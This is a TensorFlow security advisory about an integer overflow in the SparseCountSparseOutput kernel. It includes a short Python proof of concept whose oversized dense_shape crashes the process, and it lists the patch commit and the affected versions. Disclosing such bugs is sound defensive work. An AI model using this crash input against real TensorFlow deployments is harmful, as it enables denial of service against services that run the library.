Impact
The [implementation of
SparseCountSparseOutput](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:python
import tensorflow as tf
import numpy as np
tf.raw ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense shape=[2 ** 31, 2 ** 32],
weights=[1],
binary output=True,
minlength=-1,
maxlength=-1,
name=None)Patches
We have patched the issue in GitHub commit 6f4d3e8139ec724dbbcb40505891c81dd1052c4a.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
